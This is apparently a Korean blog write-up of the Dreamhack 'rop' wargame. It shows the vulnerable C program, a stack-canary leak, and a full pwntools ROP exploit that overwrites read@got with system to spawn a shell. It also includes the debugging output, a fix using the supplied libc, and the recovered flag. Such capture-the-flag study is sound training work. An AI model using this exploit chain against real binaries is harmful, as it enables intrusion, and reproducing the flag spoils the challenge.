[Dreamhack] rop

Sisyphus·2022년 7월 15일
2

문제 코드

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

첫 번째 read 함수와 printf 함수로 카나리 릭을 하고 puts 함수와 두 번째 read 함수로 ROP를 하는 문제인 거 같습니다.


보호 기법

 ⚡ root  ~/Downloads/dreamhack/rop  checksec rop
[*] '/root/Downloads/dreamhack/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX방어기법과 Canary 방어기법이 걸려있습니다.


스택 구조

   0x0000000000400713 <+108>:   lea    rax,[rbp-0x40]	// rax = buf[0x30]
   0x0000000000400717 <+112>:   mov    edx,0x100	// 0x100
   0x000000000040071c <+117>:   mov    rsi,rax	// buf
   0x000000000040071f <+120>:   mov    edi,0x0	// 0x0
   0x0000000000400724 <+125>:   call   0x4005a0 <read@plt>	// read(0, buf, 0x100)

카나리 릭

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 12246)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)

# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)

익스플로잇

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

context.log_level = 'debug'

p = remote("host1.dreamhack.games", 12246)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)



# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)



# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

payload = b'A'*56 + p64(canary) + b'B'*8


# puts(read@got)
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt)        # puts(read@got) 호출


# read(0, read@got, 0) => read@got -> system
payload += p64(pop_rdi) + p64(0)        # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)    # read(0, read@got, 0)
payload += p64(read_plt)        # read(0, read@got, 0) 호출


# read("/bin/sh") => system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)    # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt)        # read("/bin/sh") 호출


p.sendafter("Buf: ", payload)   # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"]        # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"]    # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

⚡ root  ~/Downloads/dreamhack/rop  python3 exploit.py
[+] Opening connection to host1.dreamhack.games on port 12246: Done
[*] '/root/Downloads/dreamhack/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './rop'
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0xcbe5450ba8231700
[+] read: 0x7f770987d140
[+] libc_base: 0x7f770978ebf0
[+] system: 0x7f77097d8450
[*] Switching to interactive mode

[*] Got EOF while reading in interactive
$

익스플로잇 코드를 실행시켜보면 Got EOF while reading in interactive 에러가 발생하면서 반응이 없습니다.


디버깅을 해보면

[DEBUG] Received 0x15 bytes:
    b'[1] Leak Canary\n'
    b'Buf: '
[DEBUG] Sent 0x39 bytes:
    65 * 0x39
[DEBUG] Received 0x49 bytes:
    00000000  42 75 66 3a  20 41 41 41  41 41 41 41  41 41 41 41  │Buf:│ AAA│AAAA│AAAA││AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 f7 43  │AAAA│AAAA│AAAA│AA·C│
    00000040  e1 09 eb ec  6f 90 07 40  0a                        │····│o··@│·│
    00000049
[+] Canary: 0x6feceb09e143f700
[DEBUG] Received 0x1b bytes:
    b'[2] Input ROP payload\n'
    b'Buf: '
[DEBUG] Sent 0xa8 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA││AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  00 f7 43 e1  09 eb ec 6f  │AAAA│AAAA│··C·│···o│
    00000040  42 42 42 42  42 42 42 42  f3 07 40 00  00 00 00 00  │BBBB│BBBB│··@·│····│
    00000050  30 10 60 00  00 00 00 00  70 05 40 00  00 00 00 00  │0·`·│····│p·@·│····│
    00000060  f3 07 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000070  f1 07 40 00  00 00 00 00  30 10 60 00  00 00 00 00  │··@·│····│0·`·│····│
    00000080  00 00 00 00  00 00 00 00  a0 05 40 00  00 00 00 00  │····│····│··@·│····│
    00000090  f3 07 40 00  00 00 00 00  38 10 60 00  00 00 00 00  │··@·│····│8·`·│····│
    000000a0  a0 05 40 00  00 00 00 00                            │··@·│····│
    000000a8
[DEBUG] Received 0x6 bytes:
    00000000  40 61 d2 9e  99 7f                                  │@a··│··│
    00000006
[+] read: 0x7f999ed26140
[+] libc_base: 0x7f999ec37bf0
[+] system: 0x7f999ec81450
[DEBUG] Sent 0x10 bytes:
    00000000  50 14 c8 9e  99 7f 00 00  2f 62 69 6e  2f 73 68 00  │P···│····│/bin│/sh·│
    00000010
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
    b'\n'

페이로드가 맞게 들어갔는데 반응이 없네요.


댓글에 라이브러리 버젼에 주의하라는 글이 있어서 라이브러리 경로를 "./libc-2.27.so"로 고쳐서 해봤더니 되네요.

$ ldd rop
        linux-vdso.so.1 (0x00007ffe212bd000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdf5c229000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fdf5c61a000)

로컬 환경에서 확인할 때는 libc.so.6로 나왔는데...........


수정한 익스플로잇 코드를 실행시켜보면

from pwn import *

context.log_level = 'debug'

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))


p = remote("host2.dreamhack.games", 15620)
e = ELF("./rop")
libc = ELF("./libc-2.27.so")
r = ROP(e)



# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)



# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

payload = b'A'*56 + p64(canary) + b'B'*8


# puts(read@got)
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt)        # puts(read@got) 호출


# read(0, read@got, 0) => read@got -> system
payload += p64(pop_rdi) + p64(0)        # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)    # read(0, read@got, 0)
payload += p64(read_plt)        # read(0, read@got, 0) 호출


# read("/bin/sh") => system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)    # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt)        # read("/bin/sh") 호출


p.sendafter("Buf: ", payload)   # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"]        # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"]    # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

쉘이 잘 뜨고 

$ python3 remote.py
[+] Opening connection to host2.dreamhack.games on port 15620: Done
[*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './rop'
[+] Canary: 0xf553f8046d1d2e00
[+] read: 0x7f75996e3140
[+] libc_base: 0x7f75995d3000
[+] system: 0x7f7599622550
[*] Switching to interactive mode

$ ls
flag
rop
$ cat flag
DH{68b82d23a30015c732688c89bd03d401}

플래그를 출력해보니 잘 출력됩니다.

0개의 댓글